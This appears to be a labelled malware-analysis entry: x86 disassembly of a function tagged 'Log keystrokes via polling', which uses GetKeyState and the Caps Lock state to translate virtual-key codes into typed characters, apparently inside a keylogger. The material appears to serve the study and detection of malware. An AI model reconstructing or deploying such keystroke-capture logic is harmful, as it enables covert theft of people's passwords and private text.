Function at 0x422f60
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, dword [esp + 8]
xor al, al
cmp ebx, 0x20
jne 0x422f70
mov al, bl
pop ebx
ret
lea ecx, [ebx - 0x41]
cmp ecx, 0x19
push esi
ja 0x422fb7
cmp byte [0x455388], 0x64
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
jne 0x422f91
push 0x14
call esi
test ax, ax
je 0x422fa7
push 0x14
call esi
test ax, ax
jle 0x423020
cmp byte [0x455388], 0x64
je 0x423020
mov al, bl
cmp ebx, 0x21
jne 0x4231c9
pop esi
mov al, 0x39
pop ebx
ret
lea edx, [ebx - 0x60]
cmp edx, 9
ja 0x422fc5
mov al, bl
sub al, 0x30
jmp 0x422fa9
cmp ebx, 0x6b
je 0x423048
cmp ebx, 0x6d
je 0x42313e
cmp ebx, 0x6a
je 0x42310d
cmp ebx, 0x6f
je 0x4231b3
cmp ebx, 0x6e
je 0x4231a6
lea ecx, [ebx - 0x41]
cmp ecx, 0x19
ja 0x423026
cmp byte [0x455388], 0x64
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
jne 0x42300e
push 0x14
call esi
test ax, ax
je 0x422fa7
push 0x14
call esi
test ax, ax
jle 0x423020
cmp byte [0x455388], 0x64
jne 0x422fa7
mov al, bl
add al, 0x20
jmp 0x422fa9
cmp byte [0x455388], 0x64
jne 0x42312a
cmp ebx, 0xbd
jne 0x423040
pop esi
mov al, 0x5f
pop ebx
ret
cmp ebx, 0xbb
jne 0x42304d
pop esi
mov al, 0x2b
pop ebx
ret
cmp ebx, 0xdb
jne 0x42305a
pop esi
mov al, 0x7b
pop ebx
ret
cmp ebx, 0xdd
jne 0x423067
pop esi
mov al, 0x7d
pop ebx
ret
cmp ebx, 0xba
jne 0x423074
pop esi
mov al, 0x3a
pop ebx
ret
cmp ebx, 0xde
jne 0x423081
pop esi
mov al, 0x22
pop ebx
ret
cmp ebx, 0xdc
jne 0x42308e
pop esi
mov al, 0x7c
pop ebx
ret
cmp ebx, 0xbc
jne 0x42309b
pop esi
mov al, 0x3c
pop ebx
ret
cmp ebx, 0xbe
jne 0x4230a8
pop esi
mov al, 0x3e
pop ebx
ret
cmp ebx, 0xbf
jne 0x4230b5
pop esi
mov al, 0x3f
pop ebx
ret
cmp ebx, 0xc0
jne 0x4230c2
pop esi
mov al, 0x7e
pop ebx
ret
cmp ebx, 0x31
jne 0x4230cc
pop esi
mov al, 0x21
pop ebx
ret
cmp ebx, 0x32
jne 0x4230d6
pop esi
mov al, 0x40
pop ebx
ret
cmp ebx, 0x33
jne 0x4230e0
pop esi
mov al, 0x23
pop ebx
ret
cmp ebx, 0x34
jne 0x4230ea
pop esi
mov al, 0x24
pop ebx
ret
cmp ebx, 0x35
jne 0x4230f4
pop esi
mov al, 0x25
pop ebx
ret
cmp ebx, 0x36
jne 0x4230fe
pop esi
mov al, 0x5e
pop ebx
ret
cmp ebx, 0x37
jne 0x423108
pop esi
mov al, 0x26
pop ebx
ret
cmp ebx, 0x38
jne 0x423112
pop esi
mov al, 0x2a
pop ebx
ret
cmp ebx, 0x39
jne 0x42311c
pop esi
mov al, 0x28
pop ebx
ret
cmp ebx, 0x30
jne 0x422fa9
pop esi
mov al, 0x29
pop ebx
ret
lea edx, [ebx - 0x30]
cmp edx, 9
jbe 0x422fa7
cmp ebx, 0xbd
jne 0x423143
pop esi
mov al, 0x2d
pop ebx
ret
cmp ebx, 0xbb
jne 0x423150
pop esi
mov al, 0x3d
pop ebx
ret
cmp ebx, 0xdb
jne 0x42315d
pop esi
mov al, 0x5b
pop ebx
ret
cmp ebx, 0xdd
jne 0x42316a
pop esi
mov al, 0x5d
pop ebx
ret
cmp ebx, 0xba
jne 0x423177
pop esi
mov al, 0x3b
pop ebx
ret
cmp ebx, 0xde
jne 0x423184
pop esi
mov al, 0x27
pop ebx
ret
cmp ebx, 0xdc
jne 0x423191
pop esi
mov al, 0x5c
pop ebx
ret
cmp ebx, 0xbc
jne 0x42319e
pop esi
mov al, 0x2c
pop ebx
ret
cmp ebx, 0xbe
jne 0x4231ab
pop esi
mov al, 0x2e
pop ebx
ret
cmp ebx, 0xbf
jne 0x4231b8
pop esi
mov al, 0x2f
pop ebx
ret
cmp ebx, 0xc0
jne 0x422fa9
pop esi
mov al, 0x60
pop ebx
ret
cmp ebx, 0x22
jne 0x4231d3
pop esi
mov al, 0x33
pop ebx
ret
cmp ebx, 0x23
jne 0x4231dd
pop esi
mov al, 0x31
pop ebx
ret
cmp ebx, 0x24
jne 0x4231e7
pop esi
mov al, 0x37
pop ebx
ret
cmp ebx, 0x25
jne 0x4231f1
pop esi
mov al, 0x34
pop ebx
ret
cmp ebx, 0x26
jne 0x4231fb
pop esi
mov al, 0x38
pop ebx
ret
cmp ebx, 0x27
jne 0x423205
pop esi
mov al, 0x36
pop ebx
ret
cmp ebx, 0x28
jne 0x42320f
pop esi
mov al, 0x32
pop ebx
ret
cmp ebx, 0xc
jne 0x423219
pop esi
mov al, 0x35
pop ebx
ret
cmp ebx, 0x2d
jne 0x423220
mov al, 0x30
pop esi
pop ebx
ret